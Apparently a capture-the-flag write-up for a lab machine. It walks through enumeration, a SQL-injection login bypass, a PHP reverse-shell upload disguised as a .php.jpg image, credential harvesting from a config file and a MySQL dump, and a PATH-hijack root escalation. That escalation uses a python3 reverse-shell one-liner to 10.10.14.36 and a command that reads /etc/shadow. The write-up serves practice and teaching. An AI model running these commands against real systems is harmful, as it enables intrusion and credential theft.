Tracker

• User
• root  

Loot

Proofs

Passwords

Summary

Overview/Highlights

OS: Ubuntu Linux

OS Version: 18.0.4 LTS (bionic)

Kernel Version: 5.3.0-42-generic

Architecture: 64-bit

DNS Hostname: ubuntu

Attack Killchain

Enumeration

Open Ports

22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

Enumeration Results

|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3

| ssh-auth-methods:

| Supported authentication methods:

|_ publickey

manual probing results

80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))

Enumeration Results

Nmap Scans

| http-csrf:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.185

| Found the following possible CSRF vulnerabilities:

|

| Path: http://10.10.10.185:80/login.php

| Form id: login-form

|_ Form action:

| http-enum:

|_ /login.php: Possible admin folder

| http-internal-ip-disclosure:

|_ Internal IP Leaked: 127.0.1.1

WhatWeb Summary

HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)]

Apache[2.4.29]

Jquery

Script

HTML5

Gobuster Directory Structure

/.sh_history (Status: 403) [Size: 277]

/assets (Status: 301) [Size: 313]

/images (Status: 301) [Size: 313]

/index.php (Status: 200) [Size: 3983]

/login.php (Status: 200) [Size: 4221]

/logout.php (Status: 302) [Size: 0]

/server-status (Status: 403) [Size: 277]

/upload.php (Status: 302) [Size: 2957]

Manual Enumeration/Attacks

Just browsing like a user....

The main page is just a bunch of images.

Screen

There's a weird string down at the bottom of the page, don't know if this matters or not.

Screen

There is also a link to a login page. We saw this as login.php in our directory enumeration.

Screen

This leads to a pretty normal static login screen. We might want to come back to this and try brute forcing if we don't make headway somewhere else.

Screen

Soft Probing

Well I think we just hit the limit of what we can browse to etc. Let's do some web dir fuzzing and see what we can dig up. We'll start with wfuzz, running big.txt against the root directory of the web server. We know that we php files, and there may be txt files, so we add those plus a blank extension for folder to our wfuzz command as fuzz position 2.

wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt -z list,-php-txt --hc 404 http://10.10.10.185/FUZZ.FUZ2Z 2>&1 | tee -a ./wfuzz-80.txt

All we get are the files we already knew about, and there doesn't appear to be any more folders to fuzz.

Screen

We'll fuck around with the login page while we run wfuzz with a larger wordlist in another terminal.

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,-php-txt --hc 404 http://10.10.10.185/FUZZ.FUZ2Z 2>&1 | tee -a ./wfuzz-80.txt

/login.php

What is our response on bad login attempt?

First thing, can we bypass this authentication? Also, fuck doing this manually, we're going to use wfuzz.

wfuzz -c --hh=10 --hc 200 -z file,"/root/cybersecurity/Tools/wordlists/sqli-authbypass.txt" -d "username=FUZZ&password=password123" http://10.10.10.185/login.php 2>&1 | tee -a ./wfuzz-80-sqli-loginphp.txt

We have multiple strings that appear to have worked!

Screen

We attempt to log in with one of these, and it works! We are presented with an image uploader page.

Screen

Uploading Webshell

First we attempt to upload the webshell as a straight PHP file, but we get an error. Then we try just renaming it to file.jpg, but that also fails.

We attempt to upload some test php code in the body of the image file itself. We open a JPG in nano, and remove all data except the first line. We add a block of php to echo hello if successful.

Screen

We had alread uploaded this as test.jpg, and it just attempted to render the image. We changed the name to test2test.php.jpg and uploaded the file.

Screen

We then browse to the file at http://10.10.10.185/images/upload/test2test.php.jpg. The PHP code was executed!

Screen

Now let's try with a full reverse shell. We paste /usr/share/webshells/php/php-reverse-shell.php.

Screen

We start a listener and upload this new shell through the upload.php tool.

Screen

We navigate to the file at http://10.10.10.185/images/upload/test3testtest.php.jpg, and we catch the reverse shell in our listener!

Screen

Enumerating with Service Account

We have a shell in context of www-data. While enumerating our new access, we find a file in the web directory.

Screen

We cat the contents of the file, and we see that the database credentials are hardcoded.

theseus:iamkingtheseus

Screen

We will attempt to ssh in with these credentials.

Screen

Oh yeah, we forgot that our initial enumeration showed that this was publickkey only login.

Can we su into theseus?

su theseus -

No, we need to be running in a tty session.

We have no way to use this password. It's a database password, is there a db listening on any ports?

netstat -antup

Screen

Yes, mysql is listening on localhost 3306.

We attempt to dump the database. We know it is named Magic from the same file that held the credentials.

mysqldump Magic -u theseus -p

Screen

We find credentials in this dump, for user admin.

admin:Th3s3usW4sK1ng

Screen

Huh. Is there more to that uploader.php page? Let's log in with these credentials and see what's up.

It works, but the page is the exact same, no admin functionality.

We remember that we can upgrade our shell to an interactive tty terminal without python, so we do that.

/usr/bin/script -qc /bin/bash /dev/null

Screen

We then attempt to su into theseus again, using theseus:Th3s3usW4sK1ng.

su theseus

Screen

That worked! We print out our proofs of user compromise.

Screen

EoP Enumeration

linpeas.sh

What is this whoopsie user/process?

What is this ldap password hash thing?

Private SSH keys??

Interesting root owned readable file

Targeting /bin/sysinfo

We check out what the binary is doing with strings.

strings /bin/sysinfo

We see that it runs lshw and fdisk. It will most likely run these as root.

We confirm that by logging in to a second SSH session as theseus and running top while executing /bin/sysinfo.

Can we change our path, and get sysinfo to execute a different fdisk? We update our path and create a new fdisk with a test payload.

PATH=/dev/shm:$PATH

echo "cat /etc/shadow" > /dev/shm/fdisk

chmod +x /dev/shm/fdisk

We run sysinfo, and the contents of the shadow file are printed out to us!

/bin/sysinfo

Now that we have that sorted, let's send ourselves a reverse shell. We open the evil fdisk with nano and enter the line for a reverse python shell. We make sure to have it call python3.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.36",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

/bin/sysinfo

And we catch our shell running as root. Now all we need to do is display our proofs of system compromise.

root Compromise

Attack Path

1. Insert python3 reverse shell payload into /dev/shm/fdisk and run /bin/sysinfo.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.36",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

/bin/sysinfo

2. Catch our shell running as root and display our proofs of system compromise.

Next: Cache